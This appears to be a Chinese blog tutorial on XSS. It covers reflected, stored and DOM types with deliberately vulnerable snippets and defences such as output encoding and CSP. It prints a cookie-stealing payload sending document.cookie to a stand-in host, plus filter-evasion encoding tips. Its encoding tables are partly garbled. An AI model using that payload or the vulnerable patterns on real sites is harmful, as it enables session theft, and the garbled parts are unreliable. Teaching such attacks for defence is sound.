跨站脚本攻击,指攻击者在网页中嵌入恶意脚本,当用户浏览此网页时脚本就会执行,从而达到攻击者的目的,比如获取 cookie、导航到恶意网站等。
将用户输入的存在 XSS 攻击的数据,发送给后台,后台并未对数据进行存储,也未经过任何过滤和转义,直接返回给客户端被浏览器渲染。就可能导致 XSS 攻击;
假设站点 http://www.test.com/xss/reflect.php 是这样一个有 XSS 漏洞的代码:
- <? php
- echo $_GET['x'];
- ?>
因为 x 的值没有经过任何过滤就直接输出,可以提交:
。 这样当用户点击此 URL 时,就会触发里面的脚本。
- http://www.test.com/xss/reflect.php?x=<script>alert(1)</script>
存储型 XSS 会把用户输入的数据存储在服务器端。当浏览器请求数据时,脚本从服务器上传回并执行。
保存型需要向服务器提出至少两次请求,第一次将含有恶意代码的数据提交给服务器,服务器将数据保存,第二次是受害者想服务器提出访问含有恶意代码数据的页面,恶意代码执行。
DOM XSS 和反射型 XSS、存储型 XSS 的区别在于,DOM XSS 的 XSS 代码并不需要服务器解析响应的直接参与,触发 XSS 靠的就是浏览器端的 DOM 解析,可以认为完全是客户端的事情。
例如,
- <script>
- eval(location.hash.substr(1));
- </script>
触发 XSS 的方式为
- http://www.test.com/xssme.html#alert(1)
XSS payload 就是用来完成各种具体功能的恶意脚本。
下面是一个窃取 cookie 的 payload:
- var img = document.createElement('img');
- img.src = "http://www.testhack.com/log?" + escape(document.cookie);
- document.body.appendChild(img);
一旦在受害者的网站上执行了此代码,就会将该网站的 cookie 发送到 http://www.testhack.com。
首先学习一下编码相关的知识:
编码大概有以下几种:
和
- <
;
- <
- <button onclick="javascipt:alert(1);">xss</button>
- <button onclick="javascipt:alert(1);">xss</button>
这个东西有什么用呢?比如某些特殊字符单引号双引号之类的被过滤了但是 &#并没有被过滤,就可以用字符实体替代进行 xss。
- body.innerHTML = '<a href="location.href=\'http\u003a//www.baidu.com\'">test</a>';
这里的 url 中的:使用的是其 js 编码 \ u003a,当进入到 js 的可执行环境时就会把编码后的 \ u003a 重新解析成:。因此要对脚本中的数据进行编码。
因此针对不同位置可能出现的 XSS 攻击要进行不同的编码:
- <span> 用户输入 </span>
实体编码规则:
- & –> &
- < –> <
- > –> >
- " –> "
- ' –> '
- / –> /
- <span value="用户输入"> </span>
编码规则:
除了数字和字母,对其他所有的字符进行编,只要该字符的 ASCII 码小于 256。
编码后输出的格式为
(以 &#x 开头,HH 则是指该字符对应的十六进制数字,分号作为结束符)
- &#xHH;
- <button onclick="用户输入"></button>
编码规则:
除了伯数字和字母,对其他所有的字符进行编码,只要该字符的 ASCII 码小于 256。编码后输出的格式为 \xHH
- <a href="不可信数据"> Link Content </a>
总结一下,就是要在不同的可能发生 XSS 攻击的地方进行不同的编码,下面这张图总结地很好。
主要针对富文本编辑器,比如说允许一些无风险标签的输入,
等等。而像
- <b>,<i>
标签一定要被过滤掉。
- <script>
一个标准,对浏览器做出限制,以保证它只能从可信赖来源下载资源。用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。
CSP 遵循以下规则:
来源: http://blog.csdn.net/crystal6918/article/details/77312122